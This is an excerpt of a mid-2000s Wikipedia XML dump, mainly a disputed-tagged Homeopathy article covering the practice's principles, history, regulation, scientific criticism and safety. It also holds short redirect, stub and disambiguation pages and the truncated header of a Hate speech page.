{{ent|1|Benjamin}} Benjamin, [http://www.symposion.com/ijt/benjamin/appendix_c.htm Appendix C: &quot;Transsexualism: Mythological, Historical, and Cross-Cultiral Aspects&quot;, by Richard Green, M.D.]

==External links==
{{Commons|Elagabalus}}
* [http://www.roman-emperors.org/elagabal.htm Entry on Elagabalus from De Imperatoribus Romanis]
*[http://www.jerryfielden.com/essays/elagabalus.htm Antoninus Elagabalus and his relationship with the Senate]
*[http://www.symposion.com/ijt/benjamin/appendix_c.htm Appendix C of The Transsexual Phenomenon by H. Benjamin] mentioning Elagabalus as transsexual
'''Online Translations of the Historia Augusta's account of Elagabalus'''
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Historia_Augusta/Elagabalus/1*.html Life of Elagabalus] (''Historia Augusta'' at LacusCurtius: Latin text and English translation)
*[http://members.aol.com/heliogabby/bio/eng.htm ''Historia Augusta'', English translation at Heliogabby]


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  <page>
    <title>Homeopathy</title>
    <id>14229</id>
    <revision>
      <id>42071420</id>
      <timestamp>2006-03-03T16:56:18Z</timestamp>
      <contributor>
        <username>Gleng</username>
        <id>797145</id>
      </contributor>
      <comment>see Talk; ammended AMA statement with reference, moved to Validity</comment>
      <text xml:space="preserve">{{Totally disputed}}
{{cleanup-date|January 2006}}
[[Image:Samuel_Hahnemann.png|thumb|right|'''Samuel Hahnemann''', the father of homeopathy]]
'''Homeopathy''' (also spelled '''homœopathy''' or '''homoeopathy''') from the Greek words ''όμοιος, hómoios'' (similar) and ''πάθος, páthos'' (suffering), is a [http://www.jr2.ox.ac.uk/bandolier/booth/alternat/AT014.html controversial] system of [[alternative medicine]]. The model of homeopathy was developed by the [[Saxony|Saxon]] physician [[Samuel Hahnemann]] ([[1755]]&amp;ndash;[[1843]]) and first published in [[1796]].

Homeopathy calls for treating &quot;like with like&quot;, a doctrine referred to as the &quot;Law of Similars&quot;. The practitioner considers the totality of symptoms of a particular case, then chooses as a remedy a substance that has been reported in a [[homeopathic proving]] to produce similar symptoms in healthy subjects. The remedial substance is usually given in extremely low concentrations.  Dilutions are performed by a procedure known as ''potentization''.

With few exceptions, homeopathy is not accepted by medical doctors or scientists in the relevant fields.

== Basic principles ==
=== Theory of disease ===

Hahnemann did not accept the conventional theory of disease of his day, which was based on the [[four humours]]. Mainstream medicine focused on restoring the balance in the humours, either by attempting to remove an excess of a humour (by such methods as [[bloodletting]] and purging, [[laxative]]s, [[enema]]s and nauseous substances that made patients [[vomit]]) or by suppressing symptoms associated with the humours causing trouble, such as giving feverish (and so hot and wet) patients substances associated with cold and dry.

Hahnemann rejected this in favour of a view of disease as more &quot;spirit-like&quot;. He came to consider the [[spirituality|spiritual]] factors as the root cause of all disease. Some later homeopaths, in particular [[James Tyler Kent]], put even more emphasis on &quot;spiritual factors&quot;.

[[Vitalism]] was a part of mainstream science in the [[18th century]]. Modern medicine sees [[bacterium|bacteria]] and [[virus]]es as [[Koch's postulates|the causes of many diseases]], but some modern homeopaths regard them as effects, not causes, of disease. Others have adapted to the views of modern medicine by referring to disturbances in, and stimulation of, the immune system, rather than the vital force.

In the twentieth century, medicine discarded vitalism in favour of the germ theory of disease, based on the work of [[Louis Pasteur]], [[Alexander Fleming]], [[Joseph Lister]] and many others. It also rejected the possibility of highly diluted preparations having any medicinal action, but attributes claimed effects to the [[Placebo effect|Placebo Effect]].

=== The &quot;Law of Similars&quot; ===
Homeopathy is founded on the &quot;Law of Similars&quot;. This is not a &quot;scientific&quot; law in the sense that it is not built on a hypothesis that can be [[falsifiability|falsified]] scientifically; a failure to cure homeopathically can always be attributed to incorrect selection of a remedy.  

The &quot;Law of Similars&quot; derives its justification from the clinical results that homeopaths claim. However, there are many methods for determining the most-similar remedy (the ''simillimum''), and homeopaths also often disagree about the diagnosis. This is due in part to the complexity of the idea of 'totality of symptoms'; homeopaths do not use ''all'' symptoms, but decide which are the most ''characteristic''; this evaluation is the aspect of diagnosis requiring the most knowledge and experience. Finally, the remedy picture in the Materia Medica is always more comprehensive than the symptomatology that one individual ever exhibits. These factors mean that a homeopathic diagnosis remains presumptive until it is verified by testing the effect of the remedy on the patient.

Hahnemann first expressed the exhortation ''similia similibus curentur'' or &quot;let likes cure likes.&quot; The relation of similarity is determined by ''provings'', in which healthy volunteers given a substance in homeopathic form record changes in their physical, mental, and spiritual symptoms. This information is compiled in a ''Materia Medica''. Subsequent versions of the Materia Medica incorporate symptoms observed to have been cured by the remedy. A [[homeopathic repertory]] is an index of the Materia Medica (a list of symptoms0, followed by claimed remedies. 

At first, Hahnemann proved substances known as poisons or as remedies. and recorded his findings in his ''[[Materia Medica Pura]]''. [[James Tyler Kent|Kent's]] ''Lectures on Homoeopathic Materia Medica'' ([[1905]]) lists 217 remedies, and new chemicals are being added continually to contemporary versions. Homeopathy uses many animal, plant, mineral, and chemical substances of natural or synthetic origin. Examples include ''Natrum muriaticum'' ([[sodium chloride]] or table salt), ''[[lachesis muta]]'' (the venom of the [[bushmaster (snake)|bushmaster]] [[snake]]), ''[[Opium]]'', and ''Thyroidinum'' ([[thyroid hormone]]). Other homeopaths, dilutions of the agent or the product of the disease. [[Rabies]] nosode, for example, is made by potentizing the saliva of a rabid dog. Some homeopaths use more esoteric substances, known as ''imponderables'' because they do not originate from a material substance but from electromagnetic or electrical energy presumed to have been captured by direct exposure (''[[X-ray]]'', ''Sol'' (sunlight), [http://www.hominf.org/posi/posiintr.htm ''Positronium''], and [http://homeoint.org/clarke/e/elect.htm ''Electricitas''] (electricity)) or through the use of a telescope (''[[Polaris]]''). Recent ventures by homeopaths into esoteric substances include [http://uk.geocities.com/veryscarymary/stormremedy1.html ''Tempesta''] (thunderstorm), and [http://www.biolumanetics.net/tantalus/Cases/BerlinWall.htm ''Berlin wall''].

Today, about 3000 remedies are used in homeopathy; about 300 are based on comprehensive Materia Medica information, about 1500 on relatively fragmentary knowledge, and the rest are used experimentally in difficult clinical situations based on the law of similars, either without knowledge of their homeopathic properties or through knowledge independent of the law of similars. Examples include: the use of an isopathic (disease causing) agent as a first prescription in a 'stuck' case, when the beginning of disease coincides with a specific event such as vaccination; the use of a chemically related substance when a remedy fails yet seems well-indicated; and more recently, the use of substances based on their natural classification (the [[periodic table]] or biological [[taxonomy]]). This last approach is considered to be promising by some in the homeopathic community, because it allows for grouping remedies and classifying the ever-burgeoning Materia Medica, but is rejected by many purists because it involves speculation about remedy action without proper provings.

''See also'': [[List of common homeopathic remedies]]

=== The &quot;Theory of Infinitesimals&quot; ===
The most characteristic&amp;mdash;and controversial&amp;mdash;principle of homeopathy is that the potency of a remedy can be enhanced (and the side-effects diminished) by dilution, in a procedure known as ''dynamization'' or ''potentization''. Liquids are successively diluted (with water, or alcohol for water-insoluble materials) and shaken by ten hard strikes against an elastic body (''succussion''). Insoluble solids are diluted by grinding them with [[lactose]] (''[[trituration]]''). Higher dilutions are considered to be stronger 'deep-acting' remedies. 

The dilution factor at each stage is traditionally 1:10 (&quot;D&quot; or &quot;X&quot; potencies) or 1:100 (&quot;C&quot; potencies). Hahnemann advocated 30C dilutions for most purposes, i.e. dilution by a factor of 100&lt;sup&gt;30&lt;/sup&gt; = 10&lt;sup&gt;60&lt;/sup&gt;.  As [[Avogadro's number]] is only 6.022 × 10&lt;sup&gt;23&lt;/sup&gt; particles/mole, the chance of even one molecule of the original substance being present in a 15C solution is small, and it is extremely unlikely that one molecule would be present in a 30C solution. Thus homeopathic remedies that have a high &quot;potency&quot; essentially contain just water, but this water is believed by practitioners of homeopathy to retain some &quot;essential property&quot; of the substance once present. 

A key criticism is that any water will, at some time in its history, have been in contact with many different substances. Thus, any drink may be considered to be an extreme dilution of almost any agent you care to mention. Thus, critics argue that almost everyone is almost always receiving homeopathic treatment for almost every condition. Proponents of homeopathy respond that the methodical dilution of a particular substance, beginning with a 10% solution and working downward, is different; exactly why this is different is not clear. 

Later homeopaths advocated very high potencies, which could not be made by traditional methods, but required succussion without dilution (Jenichen), higher dilution factors (LM potencies are diluted by a factor of 50,000), or machines which integrate dilution and succussion into a continuous process (Korsakoff). The practitioner's choice of what potency is appropriate is subjective; it involves his or her opinion of how &quot;deep-seated&quot; the disease is; whether it is primarily physical or more mental/emotional; the patient's sensitivity based on the practitioner's intuitive assessment or previous reactions to remedies; and the desired dosing regimen (e.g. low potency repeated often, vs high potency repeated seldom). Generally, French and German homeopaths use lower potencies than their American counterparts. Most homeopaths believe that the choice of potency is secondary to the choice of remedy: i.e. that a well-chosen remedy will act in a variety of potencies, but an approximately matched remedy might act only in certain potencies.

== History ==
Hahnemann developed homeopathy after coming upon the idea that &quot;like cures like&quot; while translating a work on malaria. On reading that [[quinine]] was effective because it was bitter, Hahnemann felt this implausible because other substances were as bitter but had no therapeutic value. To understand the effects of quinine, he decided to take it himself, and saw that his reactions were similar to the symptoms of the disease it was used to treat.

For Hahnemann, the whole body and spirit was the focus of therapy, not just the localised disease.  Hahnemann spent a lot of time with his patients, asking them not only about their symptoms or illness, but also about their daily lives. This gentle approach contrasted with the violent forms of [[heroic medicine]] common at the time, which included techniques such as bleeding as a matter of course.

Homeopathy came to the USA in 1825 and rapidly gained popularity, partly because the excesses of conventional medicine were extreme there, and partly due to the efforts of Constantine Hering. Homeopathy reached a peak of popularity  in 1865&amp;ndash;1885 and thereafter declined due to a combination of the recognition by the establishment of the dangers of large doses of drugs and bleeding, and dissent between different schools of homeopathy.

Nearly as important as Hahnemann to the development of homeopathy was [[James Tyler Kent]] ([[1849]] &amp;ndash; [[1921]]). Kent's influence in the USA was limited, but in the UK, his ideas became the homeopathic orthodoxy by the end of the [[First World War]].&lt;ref&gt;A. Campbell, [http://www.accampbell.uklinux.net/homeopathy/homeopathy-html/chapter08.html ''Kentian Homeopathy''], Chapter 8 of ''Homeopathy in Perspective''&lt;/ref&gt; His most important contribution may be his repertory, which is still used today. Kent's approach was authoritarian, emphasizing the metaphysical and clinical aspects of Hahnemann's teachings, in particular

* insistence on the doctrines of miasm and vitalism;
* emphasis on psychological symptoms (as opposed to physical pathology) in prescribing; and
* regular use of very high potencies.

Today, the ease with which large [[database]]s can be manipulated has profoundly changed the way homeopathy is practised. Today, many homeopaths use computers to sift through thousands of provings and case studies. Because information about lesser-known remedies is more accessible, it is now more common for homeopaths to prescribe them, which has led to an increase in the number of new provings.

''See also:'' [[List of important homeopaths]]

=== Homeopathy around the world ===
There are estimated&lt;ref&gt;[http://www.dw-world.de/dw/article/0,1564,1575855,00.html Homeopathy Seeks More Acknowledgement] from Deutsche Welle&lt;/ref&gt; to be more than 100,000 practitioners of homeopathy worldwide, with an estimated 500 million people receiving treatment. More than 12,000 medical doctors and licensed health care practitioners administer homeopathic treatment in the UK, [[France]], and [[Germany]]. Since 2001, homeopathy is regulated in the [[European Union]] by Directive 2001/83/EC; the latest amendments make it compulsory for member states to implement a registration procedure for homeopathic remedies.

&lt;!--English speaking countries--&gt;
In the UK, homeopathic remedies may be sold over the counter. The UK has five homeopathic hospitals where treatment, funded by the [[National Health Service]], is available and many regional clinics. Homeopathy is not practised by most of the medical profession, but there is a core of public support, including from the English royal family.

In India, homeopathy has been practised since the middle of the [[19th century]], and is officially recognized. India has the largest homeopathic infrastructure in the world, with 300,000 qualified homeopaths, 180 colleges, 7500 government clinics, and 307 hospitals.&lt;ref&gt;Dr. Raj Kumar Manchanda &amp; Dr. Mukul Kulashreshtha, ''[http://www.delhihomeo.com/paperberlin.html Cost Effectiveness and Efficacy of Homeopathy in Primary Health Care Units of Government of Delhi- A study]''&lt;/ref&gt; Also in India, Ayurveda, another form of medicine that could be likened to homeopathy, was used before 5000 B.C. &lt;ref&gt;[http://indianmedicine.nic.in/html/ayurveda/ayurveda.htm]&lt;/ref&gt;

In the USA, homeopathic remedies are, like all healthcare products, regulated by the [[Food and Drug Administration]]. However, the FDA treats homeopathic remedies very differently to conventional medicines.  Homeopathic products do not have to be approved by the FDA before sale, they do not have to be proved to be either safe or effective, they do not have to be labeled with an expiration date, and they do not have to undergo finished product testing to verify contents and strength. Unlike conventional drugs, homeopathic remedies do not have to identify their active ingredients on the grounds that they have few or no active ingredients. In the USA, only homeopathic medicines that claim to treat self-limiting conditions may be sold over the counter; homeopathic medicines that claim to treat a serious disease can be sold only by prescription. 

&lt;!--deutschsprachiger Raum--&gt;
In Germany, about 6,000 physicians specialize in homeopathy. In [[1978]] homeopathy,  [[Anthroposophy|anthroposophically extended medicine]] and [[herbalism]], were recognized as &quot;special forms of therapy&quot;, meaning that their medications are freed from the usual requirement of proving efficacy. Since [[January 1]], [[2004]] homeopathic medications, with some exceptions, are no longer covered by the country's public health insurance&lt;ref&gt;[http://www.dhu.de/wc_800/archiv/GMG.shtml Gesundheitssystem: Was bringt das neue Gesetz?] (in German)&lt;/ref&gt;. Most private health insurers continue to cover homeopathy.

In [[Austria]] homeopathy has been a recognized part of the medical system since [[1983]].

In [[Switzerland]] homeopathic medications were formerly covered by the basic health insurance system, if prescribed by a physician. This ended in June 2005&lt;ref&gt;[http://www.kaufmann-net.ch/ Bundesratsentscheid über die Leistungen für Alternativmedizin: Information about Homeopathy in Switzerland by Vera Kaufmann, BHSc.Hom.] (in German)&lt;/ref&gt;. The Swiss Government, after a 5-year trial, withdrew insurance coverage for homoeopathy and four other complementary treatments because they did not meet efficacy and cost-effectiveness criteria. This applies only to compulsory insurance; homeopathy and other complementary medicine is covered by additional insurance, if the treatment is provided by a medical doctor. 

In [[Mexico]] the Instituto Politécnico Nacional (IPN) has had a school of Homeopathy since 1936.  This school has both bachelor and master degrees.

=== Classical versus non-classical homeopathy ===
Hahnemann's formulation of homeopathy is often referred to as ''classical homeopathy'' Classical homeopaths use one remedy at a time, and base their prescription also on incidental or constitutional symptoms. However, homeopathic remedies are often used both by professionals and by the public based on formulations marketed for specific medical conditions. Occasionally single remedies are so used, but more typically, mixtures of several remedies are used in a practice known as ''complex homeopathy''. Some formulations are based on a 'shot-gun' approach of the most commonly indicated single remedies in mixture form, while others, such as those by ''Heel'' and ''Reckeweg'', are proprietary mixtures marketed for specific diagnostic critera based on various diagostic systems. Many members of the public are not familiar with classical homeopathy, and equate these practices with homeopathy; others are familiar with the classical approach but regard these as legitimate variants; while others consider it a misuse of the term. Use of non-classical approaches probably exceeds that of classical homeopathy, at least in places where over-the-counter preparations are popular and where many doctors use natural medicines in a conventional clinical setting.

== The popularity of homeopathy ==
In the [[1930s]] the popularity of homeopathy waned, especially in [[Europe]] and the USA, partly due to advances in conventional medicine, to the [[Flexner Report]] (1910) which led (in the USA) to the closure of virtually all medical schools teaching alternative medicine. Homeopathy had a renaissance in the [[1970s]], largely because of [[George Vithoulkas]] in Europe and the USA, that continues to this day. In the USA, in 1995, retail sales of homeopathic medicines were estimated at US$201 million, and growing at 20% per year, according to the American Homeopathic Pharmaceutical Association, and the number of homeopathic practitioners increased from fewer than 200 in the 1970s to approximately 3,000 in 1996.

The rise in popularity of homeopathy is part of a general rise in interest in [[alternative medicine]] over the past few decades.&lt;ref&gt;[http://www.thespiritofhomoeopathy.com/evolution.html The Evolution of Homoeopathy]&lt;/ref&gt;


==The scientific validity of homeopathy==

The following statement was adopted as policy of the American Medical Association (AMA) in 1997, after a report on a number of alternative therapies including homeopathy:[http://www.ama-assn.org/ama/pub/category/13638.html]

''&lt;blockquote&gt;There is little evidence to confirm the safety or efficacy of most alternative therapies. Much of the information currently known about these therapies makes it clear that many have not been shown to be efficacious. Well-designed, stringently controlled research should be done to evaluate the efficacy of alternative therapies.&lt;/blockquote&gt;''  

[[scientific skepticism|Scientists]] consider homeopathy to be lacking a plausible mechanism to explain its alleged workings, and that homeopathy is a [[pseudoscientific]] remnant from the age of [[alchemy]]. Others reject homeopathy due to its &quot;religious&quot; nature, i.e. the lack of scientific principles or reasonable proof of efficacy. 

The primary criticisms of homeopathy include the lack of evidence in form of studies conforming to a high scientific standard; the lack of a mechanism to explain how ultra-dilute solutions can retain an imprint of a molecule that no longer exists in solution; and the high level of subjectivity involved in both giving and receiving treatment. 

Further criticism is based on theoretical understanding of physical/chemical/biological properties of matter and its interaction in the biological sphere. Regardless of whether the dilution medium is water or alcohol, the existing theory of [[molecular physics]] does not provide a mechanism for clinically efficacious imprinting of anything much in a liquid medium once those molecules have been diluted to near non-existence.

Experiments trying to measure this effect have failed, and none have ever been reliably reproduced, thus eluding one of the foundational requirements of science, ''consistent and reliable reproducibility of results'' in double-blind trials by largely impartial clinicians, practicing on largely impartial patients.

Critics also reject homeopathy as logically incoherent. They ask: Why should only the properties of the one intended remedy be imprinted during dynamization, and not the properties of all of the impurities in the water, particularly as all of the substances in complex mother tinctures are presumably imprinted? Why should artificial shaking and swirling imprint the water, but not similar processes in nature? Why should the same information be imprinted by dynamization with alcohol or by trituration with sugar, although the properties of these substances are very different from those of water?

Several [[meta-analysis|meta-analyses]] have yielded inconclusive or unfavourable results, with two observing that the higher quality trials were more likely to reject claims of efficacy over the placebo effect&lt;ref&gt;Shang et al. [http://www.thelancet.com/journals/lancet/article/PIIS0140673605671772/fulltext &quot;Are the clinical effects of homoeopathy placebo effects? Comparative study of placebo-controlled trials of homoeopathy and allopathy&quot;]. ''Lancet'' 2005, '''366''': 726-732 ([http://www.thelancet.com/journals/lancet/article/PIIS0140673605671772/abstract abstract]) (both require registration, but abstract is free).
&lt;/ref&gt;.

Linde et al (2001)&lt;ref&gt;Linde K, Hondras M, et al. &quot;[http://www.biomedcentral.com/content/pdf/1472-6882-1-4.pdf Systematic reviews of complementary therapies – an annotated bibliography. Part 3: Homeopathy]&quot;, ''BMC Complementary and Alternative Medicine'' 2001; '''1''', 4.&lt;/ref&gt; summarize as such:

''&lt;blockquote&gt; In conclusion, the available [[systematic review]]s on homeopathy provide little guidance for patients and doctors. They reflect the fundamental controversy on this therapy, and strengthen the perception that isolated examples of positive evidence from clinical trials will not convince skeptics, and negative results from trials not representing actual practice will not have any impact on homeopaths. &lt;/blockquote&gt;''

== Misconceptions about homeopathy ==
=== Composition of homeopathic remedies ===
A common misconception is that homeopathic remedies use only natural herbal components (akin to [[herbology]]). While herbs are used, homeopathy also uses non-biological substances (such as [[salt]]s) and components of animal origin, such as [[duck]] [[liver]] in the popular remedy [[oscillococcinum]]. Homeopathy also uses substances of human origin, called ''[[nosode]]s''. Some people have the opposite misconception, that homeopathic remedies are only based on [[toxicity|toxic]] substances like [[snake venom]] or [[mercury (element)|mercury]].

Although both use herbs, in herbology measurable amounts of the herbs are in the remedy, while in homeopathy the active ingredient is diluted to the point where it is no longer measurable.

As the term homeopathy is well known and has good marketing value, the public can be confused by people who have adopted the term for other forms of therapy. For example, some companies have combined homeopathic with non-homeopathic substances such as herbs or vitamins, and some preparations marketed as homeopathic contain no homeopathic preparations at all. Classical homeopaths claim only remedies prepared and prescribed in accordance with the principles of Hahnemann can be called homeopathic.  Many producers of homeopathic remedies also produce other types of alternative remedies, under the same brand name, which can create confusion for the general public.

===Homeopathy and vaccination===
To some, homeopathy, particularly the use of nosodes, resembles [[vaccination]], in that vaccines contain a small, closely-related dose of the disease against which they are to protect. Hahnemann himself interpreted the introduction of vaccination by [[Edward Jenner]] in [[1798]] as a confirmation of the law of similars. However, the two practices are fundamentally different. A vaccine is usually a [[bacterium]] or [[virus]] whose capability to produce symptoms has deliberately been weakened, while still providing enough information to the immune system to afford protection. By preparing the immune system of a healthy organism to meet a future attack by the pathogen, vaccination hopes to prevent disease, in contrast to homeopathy's hope, which is to cure it.

== Safety of homeopathic treatment ==
 
The FDA considers that there is no real concern over the safety of homeopathic products &quot;because they have little or no pharmacologically active ingredients&quot;. There have been a few reports of illness associated with the use of homeopathic products, which may be because some homeopathic remedies are prepared by serial dilution of [[toxicity|toxic]] substances, presenting a risk that by accident they might contain undiluted toxic substances. The medical literature contains several case reports of poisoning by heavy metals such as [[Arsenic|arsenic]]&lt;ref&gt;Chakraborti D, Mukherjee SC, Saha KC, Chowdhury UK, Rahman MM, Sengupta MK: Arsenic toxicity from homeopathic treatment. J Toxicol Clin Toxicol 2003;41(7):963-7.&lt;/ref&gt; and [[mercury (element)|mercury]]&lt;ref&gt;Montoya-Cabrera MA, Rubio-Rodriguez S, Velazquez-Gonzalez E, Avila Montoya S: Mercury poisoning caused by a homeopathic drug. Gac Med Mex 1991, 127(3):267-70. Article in Spanish.&lt;/ref&gt;&lt;ref&gt;Audicana M, Bernedo N, Gonzalez I, Munoz D, Fernandez E, Gastaminza G: An unusual case of baboon syndrome due to mercury present in a homeopathic medicine. Contact Dermatitis 2001, 45(3):185.&lt;/ref&gt;&lt;ref&gt;Wiesmuller GA, Weishoff-Houben M, Brolsch O, Dott W, Schulze-Robbecke R: Environmental agents as cause of health disorders in children presented at an outpatient unit of environmental medicine. Int J Hyg Environ Health 2002, 205(5):329-35&lt;/ref&gt; found in homeopathic remedies. However, in cases that they reviewed, the FDA discounted the homeopathic product involved as the cause of the adverse reactions. In one case, arsenic was implicated, although FDA analysis revealed that the concentration of arsenic was too low to cause concern. Perhaps the main concern about the safety of homeopathy arises not from the products themselves, but from the possible withholding of more efficacious treatment, or from misdiagnosis of dangerous conditions by a non-medically qualified homeopath.[http://www.publications.parliament.uk/pa/ld199900/ldselect/ldsctech/123/12301.htm]

== References ==

&lt;references/&gt;

== Sources ==
*[http://www.findarticles.com/p/articles/mi_m2843/is_6_25/ai_79794372 Magical Thinking in Complementary and Alternative Medicine] from the Skeptical Enquirer
*[http://www.bbc.co.uk/science/horizon/2002/homeopathy.shtml Homeopathy: The Test - programme summary] from BBC
*Klaus Linde and Dieter Melchart &quot;Randomized Controlled Trials of Individualized Homeopathy: A State-of-the-Art Review&quot;, ''Journal of Alternative and Complementary Medicine'' '''4''' (1998): 371-88 ([http://nhscrd.york.ac.uk/online/dare/990167.htm structured abstract])
*M. Cucherat ''et al''. &quot;Evidence of Clinical Efficacy of Homeopathy: A Meta-Analysis of Clinical Trials&quot;, ''European Journal of Clinical Pharmacology'' '''56''' (2000): 27-33 ([http://nhscrd.york.ac.uk/online/dare/20001151.htm structured abstract])
*Walach H &quot;Unspezifische Therapie-Effekte. Das Beispiel Homöopathie&quot; [PhD Thesis]. Freiburg, Germany: Psychologische Institut, Albert-Ludwigs-Universität Freiburg, (1997)
*Ernst E. &quot;Classical homeopathy versus conventional treaments: a [[systematic review]]&quot; ''Perfusion'', (1999); '''12''': 13-15
*Moritz RV, Rodrigues A. [http://www.scielo.br/scielo.php?script=sci_arttext&amp;pid=S0041-87812003000600007&amp;tlng=es&amp;lng=en&amp;nrm=iso  &quot;A critical review of the possible benefits associated with homeopathic medicine&quot;], ''Rev. Hosp. Clin.'' '''58'''(6)
*Linde K, Clausius N, Ramirez G, Melchart D, Eitel F, Hedges LV, Jonas WB. &quot;Are the clinical effects of homeopathy placebo effects? A meta-analysis of placebo-controlled trials&quot; ''Lancet'' (1997); '''350''': 834-943
*Kleijenen J, Knipschild P, ter Riet G. &quot;Clincal trials of homeopathy.&quot; ''BMJ'' (1991); '''302''': 316-323
*Bandolier Homeopathy - dilute information and little knowledge [http://www.jr2.ox.ac.uk/bandolier/aboutus.html]
*Linde K, Scholz M, Ramirez G, Clausius N, Melchart D, Jonas WB. &quot;Impact of study quality on outcome in placebo-controlled trials of homeopathy&quot; J Clin Epidemiol. 1999 Jul;52(7):631-6.[http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6T84-3WRJNTW-P&amp;_coverDate=07%2F31%2F1999&amp;_alid=294496608&amp;_rdoc=1&amp;_fmt=&amp;_orig=search&amp;_qd=1&amp;_cdi=5076&amp;_sort=d&amp;view=c&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=48adc60952f9810801ab90935e3c53d0]
*James Randi Educational Foundation. &quot;The JREF Million Dollar Paranormal Challenge 'FAQ'&quot;. [http://www.randi.org/research/faq.html] Retrieved 13 September, 2005.
*footnote to pp.12-13, ''Hahnemann's Chronic Diseases'', ed. P. Dudley, ''B. Jain Publishers'', 1998 reprint
*Response to Lancet article [http://www.hpathy.com/research/bhatia-lancet-homeopathy.asp &quot;Homeopathy, Research &amp; The Lancet&quot;]
*[http://thorax.bmjjournals.com/cgi/content/abstract/58/4/317]
*Answer to Lancet by George Vithoulkas [http://www.vithoulkas.com/library_EN/important_issues/imp_issue03.html&quot;Answer to Lancet&quot;]

== External links ==
* Online etext of Hahnemann's ''Organon der Heilkunst'': [http://www.homeoint.org/books4/organon/ German original] and [http://www.homeopathyhome.com/reference/organon/organon.html English translation]

=== Neutral ===
*A recent article on homeopathy testing from the [http://www.annals.org/cgi/content/full/138/5/393/ Annals of Internal Medicine]
* [http://www.bbc.co.uk/science/horizon/2002/homeopathy.shtml BBC's ''Horizon'' on homeopathy] (transcripts, discussion, etc.)
* [http://www.acampbell.org.uk/homeopathy/index.html Homeopathy In Perspective] &amp;mdash; critical online book, covering the history and present state of homeopathy
* [http://www.fda.gov/fdac/features/096_home.html FDA's view of homeopathy]
* [http://www.lsbu.ac.uk/water/ Water Structure and Behaviour]&amp;mdash; balanced and up-to-date references to current scientific understanding of water, with specific entries on &quot;memory effects&quot; and homeopathy

=== Supportive ===
* [http://www.hpathy.com/ Extensive Homeopathy Information and Discussion Forum]
* [http://www.homeopathy.org/ North American Society of Homeopaths]
* [http://www.homeopathy-soh.org/ The Society of Homeopaths - UK Organisation Representing Professional Homeopaths]
* [http://www.holisticmed.com/www/homeopathy.html Homeopathy Links from The Holistic Medicine Resource Center]
* [http://www.arnica.com/homeo/homeo.html Introduction and Information on Homeopathy]
* [http://www.homeocurecenter.com/ Homeo Cure Center] - Forum discussing health issues, homeopathic remedies, and veterinary homeopathy.
* [http://www.bbc.co.uk/health/healthy_living/complementary_medicine/therapies_homeopathy.shtml Complementary Medicine - Therapies: Homeopathy] BBC's &quot;Complementary Medicine&quot; article on Homeopathy
*[http://www.homeopathy-cures.com/html/referrals_to_homeopaths.html Referrals to Certified Classical Homeopaths]
* [http://www.a-r-h.org Alliance of Registered Homeopaths]
* [http://www.homeoint.org/english/index.htm Homéopathe International] &amp;mdash; The English language version of ''Homéopathe International''
* [http://www.wholehealthnow.com/homeopathy_pro/homeopathy_1825_1849.html Homeopathy Timeline] with a wealth of historical and biographical information
* Adjuvant homeopathic treatment in Breastcancer, a pilot study [http://www.thieme-connect.de/ejournals/abstract/ahz/doi/10.1055/s-2005-862573] (in German)

=== Critical ===
* [http://www.randi.org/jr/02-02-2001.html A skeptic's view of homeopathy]
* [http://www.csicop.org/si/2001-11/alternative.html Magical Thinking in Complementary and Alternative Medicine]
* [http://www.quackwatch.org/01QuackeryRelatedTopics/homeo.html Homeopathy: The Ultimate Fake] - [[Stephen Barrett]], M.D.
* [http://www.homeowatch.org/ HomeoWatch (Homeopathy Watch)] &amp;mdash; A Skeptical Guide to Homeopathic History, Theories, and Current Practices, operated by [[Stephen Barrett]], M.D. (founder of [[Quackwatch]])
* [http://www.bbc.co.uk/dna/h2g2/alabaster/A954740 H2G2 entry on homeopathy].
* [http://www.skepdic.com/homeo.html The Skeptics Dictionary]
* [http://www.acsh.org/search/txtQuickSearch.homeopathy/health_result.asp &quot;The Scientific Evidence on Homeopathy&quot;] - American Council on Science and Health
*[http://www.skepticreport.com/health/hahnemann.htm A close look at homeopathy]
*[http://www.skepticreport.com/health/dilutiondelusion.htm Dilution or Delusion?]
*[http://www.ncahf.org/pp/homeop.html National Council Against Health Fraud Position Paper on Homeopathy]

[[Category:Alternative medicine]]
[[Category:Homeopathy|*]]
[[Category:Pseudoscience]]
[[Category:Quackery]]
[[bg:Хомеопатия]]
[[ca:Homeopatia]]
[[de:Homöopathie]]
[[el:Ομοιοπαθητική]]
[[eo:Homeopatio]]
[[es:Homeopatía]]
[[fi:Homeopatia]]
[[fr:Homéopathie]]
[[he:הומאופתיה]]
[[hr:Homeopatija]]
[[it:Omeopatia]]
[[ja:ホメオパシー]]
[[lt:Homeopatija]]
[[nl:Homeopathie]]
[[no:Homøopati]]
[[pl:Homeopatia]]
[[pt:Homeopatia]]
[[ro:Homeopatie]]
[[ru:Гомеопатия]]
[[sv:Homeopati]]
[[zh:顺势疗法]]</text>
    </revision>
  </page>
  <page>
    <title>Hurricane</title>
    <id>14230</id>
    <revision>
      <id>15911798</id>
      <timestamp>2004-02-24T22:19:50Z</timestamp>
      <contributor>
        <username>William M. Connolley</username>
        <id>8072</id>
      </contributor>
      <comment>Make into redirect to trop cyc</comment>
      <text xml:space="preserve">#REDIRECT [[Tropical cyclone]]</text>
    </revision>
  </page>
  <page>
    <title>Hairpin</title>
    <id>14231</id>
    <revision>
      <id>39869806</id>
      <timestamp>2006-02-16T12:36:41Z</timestamp>
      <contributor>
        <ip>81.151.189.222</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

[[Image:Hair pins old.jpg|thumb|right|Hairpins (around 600 b.c.)]]

A '''Hairpin''' is a [[needle]]-like device used to hold a person's hair in place.

Also used as an adjective to describe a particularly tight 180 degree turn in a road, especially in the context of [[motor racing]]:  'a '''[[hairpin turn]]' '''

{{tool-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Hz</title>
    <id>14232</id>
    <revision>
      <id>32818690</id>
      <timestamp>2005-12-27T00:40:40Z</timestamp>
      <contributor>
        <ip>84.90.67.66</ip>
      </contributor>
      <text xml:space="preserve">'''Hz''' or '''hz''' may mean:

*[[Herero language]] ([[ISO 639]] alpha-2, '''hz''')
*[[Hertz]], unit of frequency

{{disambig}}

[[it:Hz]]
[[pt:Hz]]</text>
    </revision>
  </page>
  <page>
    <title>Hate speech</title>
    <id>14233</id>
    <revision>
      <id>41922308</id>
      <timestamp>2006-03-02T17:14:41Z</timestamp>
      <contributor>
        <ip>128.143.245.138</ip>
      </contributor>
      <comment>/* Differing concepts of what is offensive */</comment>
